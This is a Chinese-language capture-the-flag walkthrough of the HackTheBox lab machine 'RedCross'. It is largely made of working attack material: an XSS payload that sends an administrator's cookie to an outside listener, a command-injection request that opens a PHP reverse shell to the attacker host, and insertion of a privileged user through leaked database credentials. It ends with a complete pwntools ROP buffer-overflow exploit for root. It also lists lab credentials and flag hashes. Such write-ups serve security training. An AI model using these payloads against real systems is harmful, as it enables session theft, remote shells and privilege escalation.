[Meachines] [Medium] RedCross XSS+Firewall-RCE+BOF-ROP-PLT权限提升
字数 1203 2025-08-29 08:30:06

RedCross 渗透测试教学文档

1. 信息收集

1.1 目标识别

  • IP地址: 10.10.10.113
  • 开放端口:
    • 22/tcp (SSH)
    • 80/tcp (HTTP)
    • 443/tcp (HTTPS)

1.2 主机发现与端口扫描

ip='10.10.10.113'; itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
  echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
  ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//');
  if [ -n "$ports" ]; then
    echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
    nmap -Pn -sV -sC -p "$ports" "$ip";
  else
    echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
  fi;
else
  echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi

1.3 服务识别

  • SSH: OpenSSH 7.9p1 Debian 10+deb10u3
  • HTTP/HTTPS: Apache httpd 2.4.38
  • SSL证书信息:
    • 域名: intra.redcross.htb
    • 组织: Red Cross International
    • 位置: NY, US

1.4 域名解析

echo '10.10.10.113 redcross.htb intra.redcross.htb' >> /etc/hosts

1.5 目录爆破

feroxbuster -u 'https://intra.redcross.htb' -k -C 404
feroxbuster -u 'https://intra.redcross.htb/documentation/' -k -C 404 -x php,txt,pdf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

1.6 子域名枚举

wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u https://10.10.10.113 -H "Host: FUZZ.redcross.htb" --hw 28 --hc 400

2. XSS漏洞利用

2.1 发现点

  • 文档: https://intra.redcross.htb/documentation/account-signup.pdf
  • 可利用字段: username

2.2 攻击向量

POST /pages/actions.php HTTP/1.1
Host: intra.redcross.htb
Cookie: PHPSESSID=u5mo0rjic5vjv752lae9qduub3
Content-Length: 155
Content-Type: application/x-www-form-urlencoded

subject=credentials&body=username%3DDetails&cback=<script>new+Image().src%3d"http%3a//10.10.16.33%3a82/got%3d"%2bdocument.cookie%3b</script>&action=contact

2.3 管理员面板

  • 访问: https://admin.redcross.htb/?page=cpanel

3. 防火墙RCE漏洞

3.1 发现点

  • 防火墙管理页面: https://admin.redcross.htb/?page=firewall

3.2 用户添加功能

  • 添加SSH用户: https://admin.redcross.htb/?page=users
  • 测试凭证: test : k5uGwPaK (权限较低)

3.3 命令注入漏洞

当禁用规则时存在RCE漏洞:

POST /pages/actions.php HTTP/1.1
Host: admin.redcross.htb
Cookie: PHPSESSID=g0vpliee933eslc03sltd7s1p7
Content-Type: application/x-www-form-urlencoded

ip=1.1.1.1;ping+-c+1+10.10.16.33&action=deny

3.4 反弹Shell

POST /pages/actions.php HTTP/1.1
Host: admin.redcross.htb
Cookie: PHPSESSID=g0vpliee933eslc03sltd7s1p7
Content-Type: application/x-www-form-urlencoded

ip=1.1.1.1;php%20-r%20%27%24sock%3Dfsockopen%28%2210.10.16.33%22%2C443%29%3Bexec%28%22%2Fbin%2Fbash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27&action=deny

3.5 数据库访问

  • 发现数据库凭证:
    • user=unixusrmgr
    • password=dheu%7wjx8B&
psql -h 127.0.0.1 -U unixusrmgr unix

3.6 添加高权限用户

select * from passwd_table;

-- 生成新密码
openssl passwd -1 123

-- 添加用户
INSERT INTO passwd_table (username, passwd, gid, homedir) 
values ('maptnh', '$1$sriO.OSP$ZzSnXiWnmA1ponuvRLeJ31', 27, '/home/penelope');

3.7 获取User Flag

420ad9e24cfb4175d4b045f7541a48ee

4. 权限提升 (BOF-ROP && SETUID && PLT)

4.1 目标二进制分析

scp maptnh@10.10.10.113:/opt/iptctl/iptctl /tmp
gdb -q ./iptctl

4.2 安全检查

CANARY    : disabled → 可能存在栈溢出
FORTIFY   : disabled → 缺少内存保护
NX        : ENABLED  → 需要ROP绕过
PIE       : disabled → 地址固定
RELRO     : Partial → GOT表部分可写

4.3 触发崩溃

gdb-peda$ r -i
Action(allow|restrict|show): allowAAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA
IP address: 1.1.1.1

4.4 计算偏移

gdb-peda$ pattern_offset A;AA

4.5 ROP链构造

  1. 目标: 执行 execvp("sh", NULL) 获取shell
  2. 需要控制参数:
    • pop rdi ; ret (0x400de3)
    • pop rsi ; pop r15 ; ret (0x400de1)
  3. 字符串地址:
    • "sh" 位于 0x40046e
  4. 函数地址:
    • execvp@plt: 0x400760
    • setuid@plt: 0x400780

4.6 完整Payload

from pwn import *

execvp = p64(0x400760)  # execvp@plt
setuid = p64(0x400780)  # setuid@plt
pop_rdi = p64(0x400de3) # pop rdi; ret
pop_rsi = p64(0x400de1) # pop rsi; pop r15; ret
sh_str = p64(0x40046e)  # "sh" 地址

payload = b"allow" + b"A" * 29
payload += pop_rdi + p64(0) + setuid      # setuid(0)
payload += pop_rdi + sh_str               # "sh"
payload += pop_rsi + p64(0) + p64(0) + execvp  # execvp("sh", NULL)
payload += b"\n1.1.1.1\n"

log.info("Attempting to connect")
try:
    p = remote("10.10.10.113", 9001)
except pwnlib.exception.PwnlibException:
    log.warn("Could not connect to target")
    log.warn('Is socat running on target?')
    log.warn('TCP-LISTEN:9001 EXEC:"/opt/iptctl/iptctl -i" running?')
    exit()

p.sendline(payload)
p.interactive()

4.7 靶机设置

socat TCP-LISTEN:9001 EXEC:"/opt/iptctl/iptctl -i"

4.8 获取Root Flag

c8bd954d247b0d4888b87744ffb3726a

5. 总结

  1. 通过XSS获取管理员cookie访问管理面板
  2. 利用防火墙管理页面的命令注入漏洞获取初始shell
  3. 通过数据库添加高权限用户
  4. 利用二进制程序的缓冲区溢出漏洞构造ROP链实现权限提升
  5. 关键点:
    • 信息收集要全面
    • 注意子域名枚举
    • 利用所有可能的输入点
    • 二进制分析要仔细检查安全机制
    • ROP构造要考虑参数传递和函数调用约定
RedCross 渗透测试教学文档 1. 信息收集 1.1 目标识别 IP地址: 10.10.10.113 开放端口: 22/tcp (SSH) 80/tcp (HTTP) 443/tcp (HTTPS) 1.2 主机发现与端口扫描 1.3 服务识别 SSH: OpenSSH 7.9p1 Debian 10+deb10u3 HTTP/HTTPS: Apache httpd 2.4.38 SSL证书信息: 域名: intra.redcross.htb 组织: Red Cross International 位置: NY, US 1.4 域名解析 1.5 目录爆破 1.6 子域名枚举 2. XSS漏洞利用 2.1 发现点 文档: https://intra.redcross.htb/documentation/account-signup.pdf 可利用字段: username 2.2 攻击向量 2.3 管理员面板 访问: https://admin.redcross.htb/?page=cpanel 3. 防火墙RCE漏洞 3.1 发现点 防火墙管理页面: https://admin.redcross.htb/?page=firewall 3.2 用户添加功能 添加SSH用户: https://admin.redcross.htb/?page=users 测试凭证: test : k5uGwPaK (权限较低) 3.3 命令注入漏洞 当禁用规则时存在RCE漏洞: 3.4 反弹Shell 3.5 数据库访问 发现数据库凭证: user=unixusrmgr password=dheu%7wjx8B& 3.6 添加高权限用户 3.7 获取User Flag 4. 权限提升 (BOF-ROP && SETUID && PLT) 4.1 目标二进制分析 4.2 安全检查 4.3 触发崩溃 4.4 计算偏移 4.5 ROP链构造 目标: 执行 execvp("sh", NULL) 获取shell 需要控制参数: pop rdi ; ret (0x400de3) pop rsi ; pop r15 ; ret (0x400de1) 字符串地址: "sh" 位于 0x40046e 函数地址: execvp@plt: 0x400760 setuid@plt: 0x400780 4.6 完整Payload 4.7 靶机设置 4.8 获取Root Flag 5. 总结 通过XSS获取管理员cookie访问管理面板 利用防火墙管理页面的命令注入漏洞获取初始shell 通过数据库添加高权限用户 利用二进制程序的缓冲区溢出漏洞构造ROP链实现权限提升 关键点: 信息收集要全面 注意子域名枚举 利用所有可能的输入点 二进制分析要仔细检查安全机制 ROP构造要考虑参数传递和函数调用约定